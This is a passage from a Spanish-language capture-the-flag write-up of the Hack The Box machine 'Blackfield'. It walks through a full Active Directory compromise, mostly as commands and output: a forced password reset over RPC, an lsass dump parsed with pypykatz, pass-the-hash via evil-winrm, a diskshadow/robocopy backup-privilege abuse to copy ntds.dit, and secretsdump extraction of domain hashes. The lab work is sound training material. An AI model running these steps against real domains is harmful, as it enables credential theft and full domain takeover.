<figure><img src="https://2897455911-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FLkxb8a4mkZnubGzcqLZE%2Fuploads%2FnwZYfNB002riUN2lUiFZ%2Fimage.png?alt=media&#x26;token=7f37bcee-3cab-4fe2-b2e6-854cf7039f4a" alt=""><figcaption></figcaption></figure>

Podemos ver a simple vista que podemos forzar el cambio de contraseña del usuario "audit2020" con el usuario que comprometimos(support)

### `2.6 Cambio de contraseña del usuario audit2020 con net rpc`

Si recordamos en el escaneo de Nmap, teníamos el servicio RPC habilitado, por lo que tenemos una herramienta llamada "net rpc" con el que podemos realizar el cambio de contraseña de este usuario(audit2020) con las credenciales del usuario comprometido(support)

Utilizaremos el siguiente comando:

```bash
net rpc password audit2020 -U 'support' -S 10.10.10.192
```

\
Que luego nos pedirá la contraseña`( #00^BlackKnight )`

En mi caso, al usuario `"audit2020"` le cambiare la contraseña a `"test321!"`

```bash
❯ net rpc password audit2020 -U 'support' -S 10.10.10.192
Enter new password for audit2020:
Password for [WORKGROUP\support]:
```

Luego de cambiar la contraseña, vamos a validar con `crackmapexec` si podemos conectar mediante `SMB`, al usuario `"audit2020"` con la contraseña que le proporcione `"test321!"`

```bash
crackmapexec smb 10.10.10.192 -u 'audit2020' -p 'test321!'
```

```bash
❯ crackmapexec smb 10.10.10.192 -u 'audit2020' -p 'test321!'
SMB         10.10.10.192    445    DC01             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC01) (domain:BLACKFIELD.local) (signing:True) (SMBv1:False)
SMB         10.10.10.192    445    DC01             [+] BLACKFIELD.local\audit2020:test321!
```

Podemos ver que la contraseña se cambio correctamente, ahora vamos a verificar que permisos tenemos sobre los recursos compartidos del servicio SMB con estas credenciales mencionadas:

```bash
smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	READ ONLY	Forensic / Audit share.
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections
```

Ahora tenemos permisos de escritura sobre el recurso compartido "forensic", vamos a ver que directorios contiene este recurso compartido:

```bash
smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' -r 'forensic'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' -r 'forensic'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	READ ONLY	Forensic / Audit share.
	./forensic
	dr--r--r--                0 Sun Feb 23 12:10:16 2020	.
	dr--r--r--                0 Sun Feb 23 12:10:16 2020	..
	dr--r--r--                0 Sun Feb 23 15:14:37 2020	commands_output
	dr--r--r--                0 Thu May 28 17:29:24 2020	memory_analysis
	dr--r--r--                0 Fri Feb 28 19:30:34 2020	tools
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections
```

Tenemos 3 directorios, vamos a entrar a "memory\_analysis":

```bash
smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' -r 'forensic/memory_analysis'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' -r 'forensic/memory_analysis'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
                                                                                                                             
[+] IP: 10.10.10.192:445	Name: blackfield.local    	Status: Authenticated
	Disk                                                  	Permissions	Comment
	----                                                  	-----------	-------
	ADMIN$                                            	NO ACCESS	Remote Admin
	C$                                                	NO ACCESS	Default share
	forensic                                          	READ ONLY	Forensic / Audit share.
	./forensicmemory_analysis
	dr--r--r--                0 Thu May 28 17:29:24 2020	.
	dr--r--r--                0 Thu May 28 17:29:24 2020	..
	fr--r--r--         37876530 Thu May 28 17:29:24 2020	conhost.zip
	fr--r--r--         24962333 Thu May 28 17:29:24 2020	ctfmon.zip
	fr--r--r--         23993305 Thu May 28 17:29:24 2020	dfsrs.zip
	fr--r--r--         18366396 Thu May 28 17:29:24 2020	dllhost.zip
	fr--r--r--          8810157 Thu May 28 17:29:24 2020	ismserv.zip
	fr--r--r--         41936098 Thu May 28 17:29:24 2020	lsass.zip
	fr--r--r--         64288607 Thu May 28 17:29:24 2020	mmc.zip
	fr--r--r--         13332174 Thu May 28 17:29:24 2020	RuntimeBroker.zip
	fr--r--r--        131983313 Thu May 28 17:29:24 2020	ServerManager.zip
	fr--r--r--         33141744 Thu May 28 17:29:24 2020	sihost.zip
	fr--r--r--         33756344 Thu May 28 17:29:24 2020	smartscreen.zip
	fr--r--r--         14408833 Thu May 28 17:29:24 2020	svchost.zip
	fr--r--r--         34631412 Thu May 28 17:29:24 2020	taskhostw.zip
	fr--r--r--         14255089 Thu May 28 17:29:24 2020	winlogon.zip
	fr--r--r--          4067425 Thu May 28 17:29:24 2020	wlms.zip
	fr--r--r--         18303252 Thu May 28 17:29:24 2020	WmiPrvSE.zip
	IPC$                                              	READ ONLY	Remote IPC
	NETLOGON                                          	READ ONLY	Logon server share 
	profiles$                                         	READ ONLY	
	SYSVOL                                            	READ ONLY	Logon server share 
[*] Closed 1 connections
```

Parece que por lógica y nombre de los archivos del recurso compartido, tenemos el dumpeo de memoria de un proceso llamado "lsass", que por lo general suele contener hashes

lsass.exe es el servicio de subsistema de autoridad de seguridad local de Windows

Vamos a bajarnos este archivo "lsass.zip":

```bash
smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' --download 'forensic/memory_analysis/lsass.zip'
```

```bash
❯ smbmap -H 10.10.10.192 -u 'audit2020' -p 'test321!' --download 'forensic/memory_analysis/lsass.zip'

    ________  ___      ___  _______   ___      ___       __         _______
   /"       )|"  \    /"  ||   _  "\ |"  \    /"  |     /""\       |   __ "\
  (:   \___/  \   \  //   |(. |_)  :) \   \  //   |    /    \      (. |__) :)
   \___  \    /\  \/.    ||:     \/   /\   \/.    |   /' /\  \     |:  ____/
    __/  \   |: \.        |(|  _  \  |: \.        |  //  __'  \    (|  /
   /" \   :) |.  \    /:  ||: |_)  :)|.  \    /:  | /   /  \   \  /|__/ \
  (_______/  |___|\__/|___|(_______/ |___|\__/|___|(___/    \___)(_______)
-----------------------------------------------------------------------------
SMBMap - Samba Share Enumerator v1.10.7 | Shawn Evans - ShawnDEvans@gmail.com
                     https://github.com/ShawnDEvans/smbmap

[*] Detected 1 hosts serving SMB                                                                                                  
[*] Established 1 SMB connections(s) and 1 authenticated session(s)                                                      
[+] Starting download: forensic\memory_analysis\lsass.zip (41936098 bytes)                                               
[+] File output to: /home/t0mz/CTF/blackfield/content/10.10.10.192-forensic_memory_analysis_lsass.zip                    
[*] Closed 1 connections
```

Se nos descargo con un nombre que le asigna smbmap, nosotros vamos a cambiarselo a lsass.zip:

```bash
❯ ls
 bloodhound-python   10.10.10.192-forensic_memory_analysis_lsass.zip   creds_support   hash   users   valid_users
❯ mv 10.10.10.192-forensic_memory_analysis_lsass.zip /home/t0mz/CTF/blackfield/content/lsass.zip
❯ ls
 bloodhound-python   creds_support   hash   lsass.zip   users   valid_users
```

Vamos a descomprimirlo con unzip:

```bash
unzip lsass.zip
```

```bash
❯ unzip lsass.zip
Archive:  lsass.zip
  inflating: lsass.DMP               
❯ ls
 bloodhound-python   creds_support   hash   lsass.DMP   lsass.zip   users   valid_users
```

Se nos extrajo un archivo de extensión "DMP"  correspondiente a DUMPEO, vamos a ver el tipo de archivo que es con "file":

```bash
file lsass.DMP
```

```bash
❯ file lsass.DMP
lsass.DMP: Mini DuMP crash report, 16 streams, Sun Feb 23 18:02:01 2020, 0x421826 type
```

Se trata de un archivo  `"Mini DuMP"`

### `2.7 pypykatz`

Para leer este archivo `"Mini DuMP"`, vamos a utilizar la herramienta `"pypykatz"`, con el siguiente comando:

```bash
pypykatz lsa minidump lsass.DMP
```

```bash
❯ pypykatz lsa minidump lsass.DMP
INFO:pypykatz:Parsing file lsass.DMP
FILE: ======== lsass.DMP =======
== LogonSession ==
authentication_id 406458 (633ba)
session_id 2
username svc_backup
domainname BLACKFIELD
logon_server DC01
logon_time 2020-02-23T18:00:03.423728+00:00
sid S-1-5-21-4194615774-2175524697-3563712290-1413
luid 406458
	== MSV ==
		Username: svc_backup
		Domain: BLACKFIELD
		LM: NA
		NT: 9658d1d1dcd9250115e2205d9f48400d
		SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
		DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000
	== WDIGEST [633ba]==
		username svc_backup
		domainname BLACKFIELD
		password None
		password (hex)
	== Kerberos ==
		Username: svc_backup
		Domain: BLACKFIELD.LOCAL
	== WDIGEST [633ba]==
		username svc_backup
		domainname BLACKFIELD
		password None
		password (hex)
.........
```

Nos extrae mucha información, nosotros nos vamos a quedar con la información de "svc\_backup" que era el usuario que estaba dentro del grupo "Remote Management Users"

```
		Username: svc_backup
		Domain: BLACKFIELD
		LM: NA
		NT: 9658d1d1dcd9250115e2205d9f48400d
		SHA1: 463c13a9a31fc3252c68ba0a44f0221626a33e5c
		DPAPI: a03cd8e9d30171f3cfe8caad92fef62100000000
```

Podemos ver el hash NT del usuario

```
9658d1d1dcd9250115e2205d9f48400d
```

### `2.8 Pass-The-Hash al usuario svc_backup`

Como tenemos el hash NT del usuario svc\_backup, podriamos probar realizar un Pass-The-Hash para ver si nos podemos conectar directamente con un hash el usuario mediante evil-winrm, pero antes vamos a validar que esto sea posible con "crackmapexec":

```bash
crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```

```bash
❯ crackmapexec winrm 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
SMB         10.10.10.192    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [+] BLACKFIELD.local\svc_backup:9658d1d1dcd9250115e2205d9f48400d (Pwn3d!)
```

Podemos ver que ya nos podemos conectar con evil-winrm:

```bash
evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
```

```bash
❯ evil-winrm -i 10.10.10.192 -u 'svc_backup' -H '9658d1d1dcd9250115e2205d9f48400d'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\svc_backup\Documents> 
```

### `2.9 Obtención de la flag user`

La flag de user se encuentra dentro de la ruta absoluta `"C:\Users\svc_backup\Desktop\user.txt"`, vamos a visualizar la flag:

```powershell
*Evil-WinRM* PS C:\Users\svc_backup\Documents> type "C:\Users\svc_backup\Desktop\user.txt"
3920bb317a0bef51027e2852be64b543
*Evil-WinRM* PS C:\Users\svc_backup\Documents> 
```

## 3- Escalado de privilegios

### `3.1 Privilegios del usuario svc_backup`

Vamos a ver los privilegios que contiene este usuario que acabamos de comprometer con un Pass-The-Hash

```powershell
whoami /priv
```

```powershell
*Evil-WinRM* PS C:\Users\svc_backup\Documents> whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeBackupPrivilege             Back up files and directories  Enabled
SeRestorePrivilege            Restore files and directories  Enabled
SeShutdownPrivilege           Shut down the system           Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled
*Evil-WinRM* PS C:\Users\svc_backup\Documents> 
```

### `3.2 DiskShadow`

Tenemos permisos para realizar backups a nivel de sistema(en todo el sistema)

```powershell
SeBackupPrivilege             Back up files and directories  Enabled
```

Con esto, podríamos realizar un backup de los hashes NTDS del sistema, para luego obtener el hash del Administrator

Para eso, vamos a necesitar crear una unidad lógica de almacenamiento dentro de la maquina con `"DiskShadow"`

En este blog, queda mas que explicado como utilizando DiskShadow, realizar una copia del sistema:

{% embed url="<https://pentestlab.blog/tag/diskshadow/>" %}

Una vez realizada la copia, ya podremos obtener los hashes NTDS que se encuentran en un archivo NTDS.dit

Entonces, vamos a realizar la copia del sistema, primeramente vamos a crear un archivo que contenga lo siguiente:

```
set context persistent nowriters 
add volume c: alias {CUALQUIER ALIAS} 
create 
expose %{CUALQUIER ALIAS}% z: 
```

`(Recordar siempre ponerle espacios en cada linea al final, por que DiskShadow, borra siempre el ultimo caracter del final de cada linea)`

En mi caso:

```
set context persistent nowriters 
add volume c: alias tomz 
create 
expose %tomz% z: 
```

```bash
❯ nvim test.txt
❯ cat test.txt
───────┬──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
       │ File: test.txt
───────┼──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
   1   │ set context persistent nowriters
   2   │ add volume c: alias tomz
   3   │ create
   4   │ expose %tomz% z:
───────┴──────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
```

Y ahora vamos a subirlo a la maquina victima, pero vamos a subirlo en el directorio `"C:\Temp", la carpeta "Temp" vamos a crearla con mkdir`:

```powershell
*Evil-WinRM* PS C:\> dir


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/26/2020   5:38 PM                PerfLogs
d-----         6/3/2020   9:47 AM                profiles
d-r---        3/19/2020  11:08 AM                Program Files
d-----         2/1/2020  11:05 AM                Program Files (x86)
d-r---        2/23/2020   9:16 AM                Users
d-----        9/21/2020   4:29 PM                Windows
-a----        2/28/2020   4:36 PM            447 notes.txt


*Evil-WinRM* PS C:\> mkdir Temp


    Directory: C:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        3/19/2025   3:44 AM                Temp


*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> upload /home/t0mz/CTF/blackfield/scripts/
/home/t0mz/CTF/blackfield/scripts/.        /home/t0mz/CTF/blackfield/scripts/test.txt
*Evil-WinRM* PS C:\Temp> upload /home/t0mz/CTF/blackfield/scripts/test.txt
                                        
Info: Uploading /home/t0mz/CTF/blackfield/scripts/test.txt to C:\Temp\test.txt
                                        
Data: 108 bytes of 108 bytes copied
                                        
Info: Upload successful!
*Evil-WinRM* PS C:\Temp> 
```

Y ahora vamos a ejecutar el siguiente comando de DiskShadow, para que se efectué la copia en una unidad Z:

```powershell
diskshadow.exe /s C:\Temp\test.txt
```

```powershell
*Evil-WinRM* PS C:\Temp> diskshadow.exe /s C:\Temp\test.txt
Microsoft DiskShadow version 1.0
Copyright (C) 2013 Microsoft Corporation
On computer:  DC01,  3/19/2025 3:50:09 AM

-> set context persistent nowriters
-> add volume c: alias tomz
-> create
Alias tomz for shadow ID {2069411e-70e6-4496-a940-f9f48cf1a937} set as environment variable.
Alias VSS_SHADOW_SET for shadow set ID {ba59663b-945d-48ee-9da8-958b80c448f3} set as environment variable.

Querying all shadow copies with the shadow copy set ID {ba59663b-945d-48ee-9da8-958b80c448f3}

	* Shadow copy ID = {2069411e-70e6-4496-a940-f9f48cf1a937}		%tomz%
		- Shadow copy set: {ba59663b-945d-48ee-9da8-958b80c448f3}	%VSS_SHADOW_SET%
		- Original count of shadow copies = 1
		- Original volume name: \\?\Volume{6cd5140b-0000-0000-0000-602200000000}\ [C:\]
		- Creation time: 3/19/2025 3:50:11 AM
		- Shadow copy device name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
		- Originating machine: DC01.BLACKFIELD.local
		- Service machine: DC01.BLACKFIELD.local
		- Not exposed
		- Provider ID: {b5946137-7b9f-4925-af80-51abd60b20d5}
		- Attributes:  No_Auto_Release Persistent No_Writers Differential

Number of shadow copies listed: 1
-> expose %tomz% z:
-> %tomz% = {2069411e-70e6-4496-a940-f9f48cf1a937}
The shadow copy was successfully exposed as z:\.
->
*Evil-WinRM* PS C:\Temp> 
```

Y ya con esto, tendremos la unidad lógica de almacenamiento Z creada, si vamos a "Z:"

```powershell
*Evil-WinRM* PS C:\Temp> cd Z:
*Evil-WinRM* PS Z:\> dir


    Directory: Z:\


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        5/26/2020   5:38 PM                PerfLogs
d-----         6/3/2020   9:47 AM                profiles
d-r---        3/19/2020  11:08 AM                Program Files
d-----         2/1/2020  11:05 AM                Program Files (x86)
d-----        3/19/2025   3:50 AM                Temp
d-r---        2/23/2020   9:16 AM                Users
d-----        9/21/2020   4:29 PM                Windows
-a----        2/28/2020   4:36 PM            447 notes.txt


*Evil-WinRM* PS Z:\> 
```

Vamos a volver a al disco C: y vamos a irnos a la carpeta "Temp" de vuelta, de tal manera que ahora podemos copiar el archivo `"Z:\Windows\NTDS\ntds.dit"` que contiene los hashes NTDS, `pero no utilizando el comando "copy", porque no va a funcionar, si no que tenemos que usar "robocopy"`

```powershell
*Evil-WinRM* PS C:\> cd Temp
*Evil-WinRM* PS C:\Temp> copy Z:\Windows\NTDS\ntds.dit
Access to the path 'Z:\Windows\NTDS\ntds.dit' is denied.
At line:1 char:1
+ copy Z:\Windows\NTDS\ntds.dit
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : PermissionDenied: (Z:\Windows\NTDS\ntds.dit:FileInfo) [Copy-Item], UnauthorizedAccessException
    + FullyQualifiedErrorId : CopyFileInfoItemUnauthorizedAccessError,Microsoft.PowerShell.Commands.CopyItemCommand
```

Ahí podemos ver que nos da error al copiar con el comando "copy", asi que utilizaremos robocopy, con el siguiente comando:

```powershell
robocopy /b Z:\Windows\NTDS\ . ntds.dit
```

```powershell
------------------------------------------------------------------------------

               Total    Copied   Skipped  Mismatch    FAILED    Extras
    Dirs :         1         0         1         0         0         0
   Files :         1         1         0         0         0         0
   Bytes :   18.00 m   18.00 m         0         0         0         0
   Times :   0:00:00   0:00:00                       0:00:00   0:00:00


   Speed :            80316459 Bytes/sec.
   Speed :            4595.744 MegaBytes/min.
   Ended : Wednesday, March 19, 2025 3:57:42 AM

*Evil-WinRM* PS C:\Temp> 
```

Una vez bajado, ahora podríamos bajarnos este archivo a nuestra maquina local con "download"

```powershell
*Evil-WinRM* PS C:\Temp> download ntds.dit
                                        
Info: Downloading C:\Temp\ntds.dit to ntds.dit
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Temp> 
```

Pero tambien tenemos que bajarnos el archivo "system" para utilizar "impacket-secretsdump", dumpear el hash en texto claro

Para eso tenemos que traernos el archivo "system" a nuestro directorio Temp, no utilizaremos "copy", esta vez haremos un backup del archivo y que el backup se almacene en la carpeta "Temp" que nosotros previamente creamos:

```powershell
reg save HKLM\system system
```

```powershell
*Evil-WinRM* PS C:\Temp> reg save HKLM\system system
The operation completed successfully.

*Evil-WinRM* PS C:\Temp> dir


    Directory: C:\Temp


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        3/19/2025   3:50 AM            608 2025-03-19_3-50-11_DC01.cab
-a----        3/18/2025  10:09 PM       18874368 ntds.dit
-a----        3/19/2025   4:03 AM       17580032 system
-a----        3/19/2025   3:50 AM             86 test.txt


*Evil-WinRM* PS C:\Temp> 
```

Y luego nos lo bajaremos en nuestra maquina local con "download":

```powershell
*Evil-WinRM* PS C:\Temp> download system
                                        
Info: Downloading C:\Temp\system to system
                                        
Info: Download successful!
*Evil-WinRM* PS C:\Temp> 
```

### `3.3 impacket-secretsdump`

Ahora vamos a utilizar la herramienta "impacket-secretsdump" para ver los hashes NTDS del DC, pasandole como parametro el "system" y el archivo "ntds.dit":

```bash
impacket-secretsdump -system system -ntds ntds.dit LOCAL
```

```bash
❯ impacket-secretsdump -system system -ntds ntds.dit LOCAL
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Target system bootKey: 0x73d83e56de8961ca9f243e1a49638393
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Searching for pekList, be patient
[*] PEK # 0 found and decrypted: 35640a3fd5111b93cc50e3b4e255ff8c
[*] Reading and decrypting hashes from ntds.dit 
Administrator:500:aad3b435b51404eeaad3b435b51404ee:184fb5e5178480be64824d4cd53b99ee:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
DC01$:1000:aad3b435b51404eeaad3b435b51404ee:a1699f39a5ba346fb0d5f547d0021640:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:d3c02561bba6ee4ad6cfd024ec8fda5d:::
audit2020:1103:aad3b435b51404eeaad3b435b51404ee:600a406c2c1f2062eb9bb227bad654aa:::
support:1104:aad3b435b51404eeaad3b435b51404ee:cead107bf11ebc28b3e6e90cde6de212:::
...............
```

Tenemos el hash NTDS del usuario Administrator:

```
184fb5e5178480be64824d4cd53b99ee
```

Con esto ya tendriamos el hash NTDS del usuario Administrator, ahora vamos a verificar con crackmapexec si podemos utilizar este hash para realizar un Pass-The-Hash para conectarnos con evil-winrm:

```powershell
crackmapexec winrm 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
```

```bash
❯ crackmapexec winrm 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
SMB         10.10.10.192    5985   DC01             [*] Windows 10 / Server 2019 Build 17763 (name:DC01) (domain:BLACKFIELD.local)
HTTP        10.10.10.192    5985   DC01             [*] http://10.10.10.192:5985/wsman
WINRM       10.10.10.192    5985   DC01             [+] BLACKFIELD.local\Administrator:184fb5e5178480be64824d4cd53b99ee (Pwn3d!)
```

Podemos ver que es factible conectarnos con este hash NTDS para realizar Pass-The-Hash

### `3.4 Pass-The-Hash con el hash NTDS del usuario Administrator`

Ahora vamos a probar conectarnos con evil-winrm con el hash NTDS anteriormente obtenido:

```bash
evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
```

```bash
❯ evil-winrm -i 10.10.10.192 -u 'Administrator' -H '184fb5e5178480be64824d4cd53b99ee'
                                        
Evil-WinRM shell v3.7
                                        
Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine
                                        
Data: For more information, check Evil-WinRM GitHub: https://github.com/Hackplayers/evil-winrm#Remote-path-completion
                                        
Info: Establishing connection to remote endpoint
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```

Ya tendremos acceso total sobre el entorno de directorio activo y del sistema

### `3.5 Obtención de la flag root`

La flag de root se encuentra dentro de la ruta absoluta `"C:\Users\Administrator\Desktop\root.txt"`, vamos a visualizar la flag:

```powershell
*Evil-WinRM* PS C:\Users\Administrator\Documents> type "C:\Users\Administrator\Desktop\root.txt"
4375a629c7c67c8e29db269060c955cb
*Evil-WinRM* PS C:\Users\Administrator\Documents> 
```

Con esto, concluimos la maquina "Blackfield" de Hack The Box

Espero te haya sido de ayuda este Write Up :)

Si tuviste alguna dificultad a la hora de resolverlo, no olvides contactarme en mis [redes sociales](https://writeups-ctfs.gitbook.io/writeup-ctf/mis-redes-sociales)

{% embed url="<https://www.hackthebox.com/achievement/machine/2243466/255>" %}
